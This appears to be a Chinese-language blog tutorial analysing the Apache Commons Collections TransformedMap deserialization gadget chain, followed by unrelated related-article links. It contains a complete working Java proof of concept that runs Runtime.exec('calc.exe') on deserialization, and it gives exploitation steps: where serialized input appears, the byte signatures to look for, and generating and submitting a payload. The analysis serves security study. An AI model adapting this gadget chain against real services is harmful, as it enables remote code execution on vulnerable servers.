Apache Common-collection 反序列化利用链解析--TransformedMap链
Apache Common-collection 反序列化利用链解析
TransformedMap链
参考Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com)
poc
package com.company;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class PocTest {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
// 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
利用链原理分析
首先我们来看Transformer类。其中transform方法可以看作将一个对象转换为另一个对象。

我们看看有哪些方法实现了Transformer接口。ctrl+H查找一下

我们一个个步入看一下。
首先先来看InvokerTransformer.
这个类还实现了Serializable接口,说明其能够进行序列化。


再来看一下 ConstantTransformer类,构造函数接受参数,没什么特别的。

再来看一下ChainedTransformer

通过InvokerTransformer, ConstantTransformer,ChainedTransformer这三个类我们可以推出一条基础的利用链。
我们来看看poc前半部分,注释为ChainedTransformer调用transform方法的结果
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),//第一次transform,输入为Runtime.class,返回结果为Runtime.class
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),//第二次transform,输入为Runtime.class,返回为Method对象getRuntime。
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),//第三次transform,输入为Method对象getRuntime,返回是Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};//最后一次transform,即runtime.exec("calc.exe"),弹出计算器
Transformer chain = new ChainedTransformer(transformers_exec);//将数组转换成链
这里之前有疑惑,为什么需要调用invoke方法。将这行注释掉之后,会发现报错。

才发现getMethod返回的对象是Method对象,不能直接调用exec,才需要invoke。这里后续需要去仔细查看一下method.invoke方法。
接下来会碰到TransformedMap这个类,调用decorate这个函数,会调用这个构造函数,将参数保存到对象中。
Map类 --> TransformedMap
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。
至于会进行怎样的操作或变换,这是由我们提前设定的,这个叫做transform。


接着分析poc
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);//这里创建了Map对象,并将序列化链保存到了outerMap的valueTransformer中,当value被更改时,便会触发TransformedMap的transformValue方法从而触发chain的transform方法,完成代码执行。
到了这一步,我们需要调用map的SetValue函数,才能触发transform。那么反序列化中readobject如何调用这个函数呢?
看看sun.reflect.annotation.AnnotationInvocationHandler。
这个类的构造函数正好接受了一个Map对象。

再看看readobject方法

看看poc,接下来就是传入含有恶意代码的map,实例化AnnotationInvocationHandler类。并对其进行序列化,反序列化。
// 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);//获取参数为class和map的构造函数
cons.setAccessible(true);//取消安全访问机制,可以使用private函数
Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap);//使用构造函数
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
总结一下,本条链的思路:
首先本质是使用反射来实现方法的执行,即InvokerTransformer类。然后由于runtime.exec()方法只使用一次InvokerTransformer无法完成调用,便考虑配合ConstantTransformer与ChainedTransformer构造方法执行链。完成方法执行链的构造后,我们需要想办法触发这条链。此时便找到了TransformedMap,当修改TransformedMap对象的映射内容时,会自动调用transform方法。将chain保存到TransformedMap对象的Value中。最后,思考如何使用readobject调用setvalue方法改变value值,发现AnnotationInvocationHandler正好符合要求。便将其作为对象,TransformedMap对象作为参数进行实例化。而后进行序列化,反序列化即可。
反序列化时的调用流程: readobject() --> setValue() --> transform() 调用方法执行链实现代码
漏洞利用
1.漏洞触发场景 在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:
1)HTTP请求中的参数,cookies以及Parameters。
2)RMI协议,被广泛使用的RMI协议完全基于序列化
3)JMX 同样用于处理序列化对象
4)自定义协议 用来接收与发送原始的java对象
2. 漏洞挖掘
(1)确定反序列化输入点
首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:
1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。
2)对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等 注: java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。
(2)再考察应用的Class Path中是否包含Apache Commons Collections库
(3)生成反序列化的payload
(4)提交我们的payload数据
Apache Common-collection 反序列化利用链解析--TransformedMap链的更多相关文章
- Common lang一些边界方法总结(好记性不如烂笔头,需要慢慢积累).一定要利用好现有的轮子,例如Apache common与Google Guava
好记性真是不如烂笔头啊!!!! 如下代码: List<String> list = new ArrayList<String>(); list.add("1" ...
- CommonsCollections1 反序列化利用链分析
InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...
- WEB文件上传之apache common upload使用(一)
文件上传一个经常用到的功能,它有许多中实现的方案. 页面表单 + RFC1897规范 + http协议上传 页面控件(flash/html5/activeX/applet) + RFC1897规范 + ...
- 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现
一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...
- Apache Common DbUtils
前段时间使用了Apache Common DbUtils这个工具,在此留个印,以备不时查看.大家都知道现在市面上的数据库访问层的框架很多,当然很多都是包含了OR-Mapping工作步骤的 例如大家常用 ...
- org.apache.common.io-FileUtils详解
org.apache.common.io---FileUtils详解 getTempDirectoryPath():返回临时目录路径; public static String getTempDire ...
- python爬虫:利用BeautifulSoup爬取链家深圳二手房首页的详细信息
1.问题描述: 爬取链家深圳二手房的详细信息,并将爬取的数据存储到Excel表 2.思路分析: 发送请求--获取数据--解析数据--存储数据 1.目标网址:https://sz.lianjia.com ...
- 25. Apache Shiro Java反序列化漏洞
前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...
- [转帖]深度解析区块链POW和POS的区别
深度解析区块链POW和POS的区别 Proof of Work 还有Proof of Stake 之前理解程了 state ... 股权的意思 还有 delegated proof of Stake ...
随机推荐
- 堆栈相关的经典题(c++)
1.定义队列 typedef struct node{ int data; struct node * next; }Node; typedef struct linkQueue { Node * f ...
- 快速入门PaddleOCR,并试用其开发一个搜题小工具
介绍 PaddleOCR 是一个基于百度飞桨的OCR工具库,包含总模型仅8.6M的超轻量级中文OCR,单模型支持中英文数字组合识别.竖排文本识别.长文本识别.同时支持多种文本检测.文本识别的训练算法. ...
- 前端~定位属性position(relative、absolute、fixed)的分析
前端~定位属性position(relative.absolute.fixed)的分析 1,简单了解: relative:移动自身时,参考自身的原来位置而移动,移动子元素(子元素设置了absolute ...
- Mybatis源码解析4——SqlSession
上一篇文章中,我们介绍了 SqlSessionFactory 的创建过程,忘记了的,可以回顾一下,或者看下下面这张图也行. 接下来,可乐讲给大家介绍 Mybatis 中另一个重量级嘉宾--SqlSes ...
- K8s 系列(三) - 如何配置 etcd https 证书?
在 K8s 中,kube-apiserver 使用 etcd 对 REST object 资源进行持久化存储,本文介绍如何配置生成自签 https 证书,搭建 etcd 集群给 apiserver 使 ...
- 《DotNet Web应用单文件部署系列》二、打包wwwroot文件夹
在这篇文章中,你将学到web缓存规则,文件传输中用到的压缩格式,以及如何手写代码响应请求.最后还能学到快速打包wwwroot文件夹组件用法. 一.了解Response Header 当第一次加载程序时 ...
- [第十六篇]——Docker 安装 CentOS之Spring Cloud直播商城 b2b2c电子商务技术总结
Docker 安装 CentOS CentOS(Community Enterprise Operating System)是 Linux 发行版之一,它是来自于 Red Hat Enterprise ...
- C++快速读入
使用C++的标准cin进行读入速度比较慢,尤其是在大数据的情况下,所以我们需要使用一种方法,按照字符读入,最后再"组装"成整数.由于字符读入比数字要快,所以这样做可以提高读入速度. ...
- 如何使用SQL的备份文件(.bak)恢复数据库
出于很多情况,数据库只剩下.bak文件,想要恢复数据库,找了很多资料才知道可以这样!!!!! 个人觉得图片教程更有意义,请看步骤: 1.选中"数据库" 右击 选择"还原数 ...
- AVS 端能力之音频播放模块
功能简介 音频播放 音频流播放 URL文件播放 播放控制 播放 暂停 继续 停止 其它功能(AVS服务器端实现) 支持播放列表 支持上一首下一首切换 支持电台 事件指令集 AudioPlayer 端能 ...